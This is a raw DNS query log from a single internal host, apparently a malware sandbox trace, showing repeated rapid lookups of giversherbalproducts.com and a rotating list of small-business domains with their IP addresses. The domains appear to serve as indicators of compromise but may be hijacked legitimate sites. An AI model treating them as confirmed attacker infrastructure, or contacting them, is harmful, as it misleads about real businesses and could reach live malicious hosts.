Oct 4, 2021 16:02:42.701196909 CEST	8.8.8.8	192.168.2.3	0xa532	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:42.712272882 CEST	8.8.8.8	192.168.2.3	0xba88	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:43.504336119 CEST	8.8.8.8	192.168.2.3	0x44dd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:43.598371029 CEST	8.8.8.8	192.168.2.3	0xba14	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:44.304447889 CEST	8.8.8.8	192.168.2.3	0xe3c3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:44.945947886 CEST	8.8.8.8	192.168.2.3	0x980c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.126806974 CEST	8.8.8.8	192.168.2.3	0xf4a7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.905251980 CEST	8.8.8.8	192.168.2.3	0xc916	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.918484926 CEST	8.8.8.8	192.168.2.3	0xa02d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:46.755429029 CEST	8.8.8.8	192.168.2.3	0x70ea	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:46.780164957 CEST	8.8.8.8	192.168.2.3	0xd75a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:47.505580902 CEST	8.8.8.8	192.168.2.3	0x8a54	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:47.755598068 CEST	8.8.8.8	192.168.2.3	0x9efe	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:48.303590059 CEST	8.8.8.8	192.168.2.3	0xb756	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:48.771759033 CEST	8.8.8.8	192.168.2.3	0x213a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.076230049 CEST	8.8.8.8	192.168.2.3	0x30bb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.686939955 CEST	8.8.8.8	192.168.2.3	0xba92	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.981693029 CEST	8.8.8.8	192.168.2.3	0xd926	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:50.583095074 CEST	8.8.8.8	192.168.2.3	0x6741	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:50.804745913 CEST	8.8.8.8	192.168.2.3	0x9b99	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:51.547482967 CEST	8.8.8.8	192.168.2.3	0x59db	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:51.564084053 CEST	8.8.8.8	192.168.2.3	0xc54f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:52.402848959 CEST	8.8.8.8	192.168.2.3	0x4d8a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:52.521255970 CEST	8.8.8.8	192.168.2.3	0xe9f2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:53.220228910 CEST	8.8.8.8	192.168.2.3	0x7c0b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:53.329678059 CEST	8.8.8.8	192.168.2.3	0xbdd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.108623981 CEST	8.8.8.8	192.168.2.3	0xde7a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.153918028 CEST	8.8.8.8	192.168.2.3	0xb189	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.903601885 CEST	8.8.8.8	192.168.2.3	0x3326	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:55.157013893 CEST	8.8.8.8	192.168.2.3	0x23c8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:55.894351006 CEST	8.8.8.8	192.168.2.3	0xdb0e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:56.199194908 CEST	8.8.8.8	192.168.2.3	0x334f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:56.718534946 CEST	8.8.8.8	192.168.2.3	0xa8a9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:57.001499891 CEST	8.8.8.8	192.168.2.3	0x915f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:57.678498983 CEST	8.8.8.8	192.168.2.3	0xa35f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.045990944 CEST	8.8.8.8	192.168.2.3	0x55a5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.486376047 CEST	8.8.8.8	192.168.2.3	0x42ee	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.867860079 CEST	8.8.8.8	192.168.2.3	0xbd4f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:59.239927053 CEST	8.8.8.8	192.168.2.3	0x8552	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:59.622909069 CEST	8.8.8.8	192.168.2.3	0x6e8d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.085401058 CEST	8.8.8.8	192.168.2.3	0x40b1	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.566046000 CEST	8.8.8.8	192.168.2.3	0xc444	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.999483109 CEST	8.8.8.8	192.168.2.3	0xb574	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:01.443316936 CEST	8.8.8.8	192.168.2.3	0xbd95	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:01.893367052 CEST	8.8.8.8	192.168.2.3	0x87bb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:02.226671934 CEST	8.8.8.8	192.168.2.3	0x671f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:02.734325886 CEST	8.8.8.8	192.168.2.3	0xd135	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:03.275485992 CEST	8.8.8.8	192.168.2.3	0xd6ed	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:03.554337025 CEST	8.8.8.8	192.168.2.3	0x91ce	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:04.199176073 CEST	8.8.8.8	192.168.2.3	0xafba	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:04.373367071 CEST	8.8.8.8	192.168.2.3	0x21b0	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:05.163412094 CEST	8.8.8.8	192.168.2.3	0x9840	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:05.356007099 CEST	8.8.8.8	192.168.2.3	0xb53	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.044681072 CEST	8.8.8.8	192.168.2.3	0x3d29	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.157752037 CEST	8.8.8.8	192.168.2.3	0xfb29	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.880120039 CEST	8.8.8.8	192.168.2.3	0xe7c4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.922502995 CEST	8.8.8.8	192.168.2.3	0x2431	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:07.751281023 CEST	8.8.8.8	192.168.2.3	0xe8d5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:07.805574894 CEST	8.8.8.8	192.168.2.3	0xdc5d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:08.564277887 CEST	8.8.8.8	192.168.2.3	0xa340	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:08.679817915 CEST	8.8.8.8	192.168.2.3	0x4f54	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:09.391308069 CEST	8.8.8.8	192.168.2.3	0xdba7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:09.469573975 CEST	8.8.8.8	192.168.2.3	0x7946	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:10.286662102 CEST	8.8.8.8	192.168.2.3	0xe309	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:10.290230989 CEST	8.8.8.8	192.168.2.3	0x2f39	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.142357111 CEST	8.8.8.8	192.168.2.3	0x2afe	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.154334068 CEST	8.8.8.8	192.168.2.3	0xf2df	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.912121058 CEST	8.8.8.8	192.168.2.3	0xeb7f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.958578110 CEST	8.8.8.8	192.168.2.3	0x6e93	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:12.711294889 CEST	8.8.8.8	192.168.2.3	0x7cde	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:12.810087919 CEST	8.8.8.8	192.168.2.3	0x6a5f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:13.466949940 CEST	8.8.8.8	192.168.2.3	0xdcb2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:13.687684059 CEST	8.8.8.8	192.168.2.3	0xe8b8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:14.229187012 CEST	8.8.8.8	192.168.2.3	0xe90f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:15.529422045 CEST	8.8.8.8	192.168.2.3	0x3b15	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.423656940 CEST	8.8.8.8	192.168.2.3	0xfc98	No error (0)	opulent-imports.com		185.20.51.238	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.489531994 CEST	8.8.8.8	192.168.2.3	0xfc98	No error (0)	opulent-imports.com		185.20.51.238	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.713193893 CEST	8.8.8.8	192.168.2.3	0xac38	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:18.288501024 CEST	8.8.8.8	192.168.2.3	0x7284	No error (0)	nitro2point0.com		103.50.162.157	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:18.870755911 CEST	8.8.8.8	192.168.2.3	0xb49c	No error (0)	streamline-trade.com		192.185.113.204	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:19.370065928 CEST	8.8.8.8	192.168.2.3	0xd7ff	No error (0)	sologicgroup.com		51.222.139.54	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:20.025403976 CEST	8.8.8.8	192.168.2.3	0x6cb7	No error (0)	pedroaros.cl		192.185.46.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:20.497392893 CEST	8.8.8.8	192.168.2.3	0xa759	No error (0)	apimar.eu		128.0.46.214	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:21.240205050 CEST	8.8.8.8	192.168.2.3	0x7adc	No error (0)	baetrading.com		192.254.235.244	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:21.866552114 CEST	8.8.8.8	192.168.2.3	0xcfb2	No error (0)	ditrpshop.in		166.62.10.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:23.105124950 CEST	8.8.8.8	192.168.2.3	0x1a92	No error (0)	surveillantfire.com		50.87.147.76	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:23.252643108 CEST	8.8.8.8	192.168.2.3	0x1e32	No error (0)	opulent-imports.com		185.20.51.238	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:23.814260006 CEST	8.8.8.8	192.168.2.3	0x53a8	No error (0)	dhananialegalaid.com		184.168.102.202	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:24.682441950 CEST	8.8.8.8	192.168.2.3	0x2b5e	No error (0)	nitro2point0.com		103.50.162.157	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:24.999835014 CEST	8.8.8.8	192.168.2.3	0xd4b6	No error (0)	aulaintelimundo.com		67.227.144.24	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.292287111 CEST	8.8.8.8	192.168.2.3	0xa516	No error (0)	streamline-trade.com		192.185.113.204	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.634530067 CEST	8.8.8.8	192.168.2.3	0xaba9	No error (0)	muwatin.net		185.146.22.232	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.875725985 CEST	8.8.8.8	192.168.2.3	0x1121	No error (0)	sologicgroup.com		51.222.139.54	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:26.270246983 CEST	8.8.8.8	192.168.2.3	0xb204	No error (0)	nkp.hr		185.58.73.28	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:26.626862049 CEST	8.8.8.8	192.168.2.3	0x5bd5	No error (0)	pedroaros.cl		192.185.46.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:27.321540117 CEST	8.8.8.8	192.168.2.3	0x2c8f	No error (0)	kvrassociates.net		103.125.80.58	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:27.550558090 CEST	8.8.8.8	192.168.2.3	0xf64f	No error (0)	baetrading.com		192.254.235.244	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:28.204247952 CEST	8.8.8.8	192.168.2.3	0x35a7	No error (0)	ditrpshop.in		166.62.10.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:28.543658972 CEST	8.8.8.8	192.168.2.3	0x4755	No error (0)	marianaleyton.com		165.227.90.171	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.166728020 CEST	8.8.8.8	192.168.2.3	0x5911	No error (0)	profitshub.in		199.193.116.170	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.379550934 CEST	8.8.8.8	192.168.2.3	0xb56e	No error (0)	surveillantfire.com		50.87.147.76	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.748135090 CEST	8.8.8.8	192.168.2.3	0x9f28	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.775177002 CEST	8.8.8.8	192.168.2.3	0x9bd6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.030250072 CEST	8.8.8.8	192.168.2.3	0x453a	No error (0)	dhananialegalaid.com		184.168.102.202	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.623326063 CEST	8.8.8.8	192.168.2.3	0x3958	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.647357941 CEST	8.8.8.8	192.168.2.3	0x89dd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.140480042 CEST	8.8.8.8	192.168.2.3	0x7ac9	No error (0)	aulaintelimundo.com		67.227.144.24	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.520440102 CEST	8.8.8.8	192.168.2.3	0x6ef0	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.543189049 CEST	8.8.8.8	192.168.2.3	0xe06f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.793298006 CEST	8.8.8.8	192.168.2.3	0x9285	No error (0)	muwatin.net		185.146.22.232	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.431832075 CEST	8.8.8.8	192.168.2.3	0xfaeb	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.457391024 CEST	8.8.8.8	192.168.2.3	0x72ce	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.469456911 CEST	8.8.8.8	192.168.2.3	0xfa93	No error (0)	nkp.hr		185.58.73.28	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.366040945 CEST	8.8.8.8	192.168.2.3	0xba23	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.391906977 CEST	8.8.8.8	192.168.2.3	0xd053	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.489960909 CEST	8.8.8.8	192.168.2.3	0x64c9	No error (0)	kvrassociates.net		103.125.80.58	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.175296068 CEST	8.8.8.8	192.168.2.3	0x7598	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.203233957 CEST	8.8.8.8	192.168.2.3	0x7395	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.635557890 CEST	8.8.8.8	192.168.2.3	0x3ac2	No error (0)	marianaleyton.com		165.227.90.171	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.077126026 CEST	8.8.8.8	192.168.2.3	0xce2	No error (0)	profitshub.in		199.193.116.170	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.094964981 CEST	8.8.8.8	192.168.2.3	0xcc30	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.119539022 CEST	8.8.8.8	192.168.2.3	0xe477	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.772871017 CEST	8.8.8.8	192.168.2.3	0x55fd	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.796354055 CEST	8.8.8.8	192.168.2.3	0x396f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.968518019 CEST	8.8.8.8	192.168.2.3	0x2d92	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.992433071 CEST	8.8.8.8	192.168.2.3	0x31ae	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.715266943 CEST	8.8.8.8	192.168.2.3	0xcd4e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.745234013 CEST	8.8.8.8	192.168.2.3	0xeab6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.768912077 CEST	8.8.8.8	192.168.2.3	0x79c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.791863918 CEST	8.8.8.8	192.168.2.3	0xcfab	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:37.665600061 CEST	8.8.8.8	192.168.2.3	0x738c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:37.690924883 CEST	8.8.8.8	192.168.2.3	0x1a3a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:38.461568117 CEST	8.8.8.8	192.168.2.3	0x1c1c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:38.489701033 CEST	8.8.8.8	192.168.2.3	0x3e2f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:39.465722084 CEST	8.8.8.8	192.168.2.3	0x1d7e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:39.490340948 CEST	8.8.8.8	192.168.2.3	0x3960	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:40.264821053 CEST	8.8.8.8	192.168.2.3	0xcd6d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:40.286370993 CEST	8.8.8.8	192.168.2.3	0x74bd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:41.177839041 CEST	8.8.8.8	192.168.2.3	0xaf86	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:41.201231003 CEST	8.8.8.8	192.168.2.3	0x3bab	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.123214006 CEST	8.8.8.8	192.168.2.3	0x2ffc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.148648977 CEST	8.8.8.8	192.168.2.3	0xdc49	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.361406088 CEST	8.8.8.8	192.168.2.3	0xf7e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:43.014801025 CEST	8.8.8.8	192.168.2.3	0x6c90	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:43.038670063 CEST	8.8.8.8	192.168.2.3	0xe709	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:43.389266968 CEST	8.8.8.8	192.168.2.3	0xd579	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:44.317348003 CEST	8.8.8.8	192.168.2.3	0x56d7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:45.206720114 CEST	8.8.8.8	192.168.2.3	0x9470	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:45.988532066 CEST	8.8.8.8	192.168.2.3	0xd470	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:46.966387033 CEST	8.8.8.8	192.168.2.3	0x11cf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:47.825175047 CEST	8.8.8.8	192.168.2.3	0x1587	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:48.817696095 CEST	8.8.8.8	192.168.2.3	0x7a11	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:49.421897888 CEST	8.8.8.8	192.168.2.3	0xfc21	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:49.450675011 CEST	8.8.8.8	192.168.2.3	0x7571	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.569209099 CEST	8.8.8.8	192.168.2.3	0x8885	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.574561119 CEST	8.8.8.8	192.168.2.3	0xd2dc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.597894907 CEST	8.8.8.8	192.168.2.3	0xbdd3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.386316061 CEST	8.8.8.8	192.168.2.3	0xf080	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.411344051 CEST	8.8.8.8	192.168.2.3	0x69fd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.505574942 CEST	8.8.8.8	192.168.2.3	0xbe74	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.267848015 CEST	8.8.8.8	192.168.2.3	0x980a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.292638063 CEST	8.8.8.8	192.168.2.3	0xded9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.416915894 CEST	8.8.8.8	192.168.2.3	0x4153	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.183145046 CEST	8.8.8.8	192.168.2.3	0xb384	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.206279039 CEST	8.8.8.8	192.168.2.3	0x456	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.348504066 CEST	8.8.8.8	192.168.2.3	0x177e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.064639091 CEST	8.8.8.8	192.168.2.3	0x9b6d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.090537071 CEST	8.8.8.8	192.168.2.3	0x3e84	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.154897928 CEST	8.8.8.8	192.168.2.3	0x59c9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.893838882 CEST	8.8.8.8	192.168.2.3	0xa3de	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.915210962 CEST	8.8.8.8	192.168.2.3	0xbc50	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.057661057 CEST	8.8.8.8	192.168.2.3	0x3ecd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.936739922 CEST	8.8.8.8	192.168.2.3	0xba03	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.941557884 CEST	8.8.8.8	192.168.2.3	0x9d90	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
